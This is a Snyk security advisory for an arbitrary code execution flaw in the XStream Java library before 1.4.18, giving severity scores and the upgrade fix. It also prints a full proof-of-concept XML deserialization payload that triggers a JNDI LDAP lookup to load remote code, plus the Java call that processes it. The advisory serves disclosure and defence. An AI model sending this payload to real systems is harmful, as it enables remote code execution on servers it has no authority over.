Arbitrary Code Execution Affecting com.thoughtworks.xstream:xstream package, versions [,1.4.18)


0.0
high
0
10

Snyk CVSS

    Attack Complexity High
    Scope Changed
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 2.46% (91st percentile)
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NVD
8.5 high
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SUSE
8.1 high
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Red Hat
8.5 high

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  • Snyk ID SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569185
  • published 24 Aug 2021
  • disclosed 24 Aug 2021
  • credit ka1n4t

How to fix?

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='javax.swing.MultiUIDefaults' serialization='custom'>
      <unserializable-parents/>
      <hashtable>
        <default>
          <loadFactor>0.75</loadFactor>
          <threshold>525</threshold>
        </default>
        <int>700</int>
        <int>0</int>
      </hashtable>
      <javax.swing.UIDefaults>
        <default>
          <defaultLocale>zh_CN</defaultLocale>
          <resourceCache/>
        </default>
      </javax.swing.UIDefaults>
      <javax.swing.MultiUIDefaults>
        <default>
          <tables>
            <javax.swing.UIDefaults serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                <default>
                  <loadFactor>0.75</loadFactor>
                  <threshold>525</threshold>
                </default>
                <int>700</int>
                <int>1</int>
                <string>ggg</string>
                <javax.swing.UIDefaults_-ProxyLazyValue>
                  <className>javax.naming.InitialContext</className>
                  <methodName>doLookup</methodName>
                  <args>
                    <arg>ldap://localhost:1099/CallRemoteMethod</arg>
                  </args>
                </javax.swing.UIDefaults_-ProxyLazyValue>
              </hashtable>
              <javax.swing.UIDefaults>
                <default>
                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
                  <resourceCache/>
                </default>
              </javax.swing.UIDefaults>
            </javax.swing.UIDefaults>
          </tables>
        </default>
      </javax.swing.MultiUIDefaults>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
XStream xstream = new XStream();
xstream.fromXML(xml);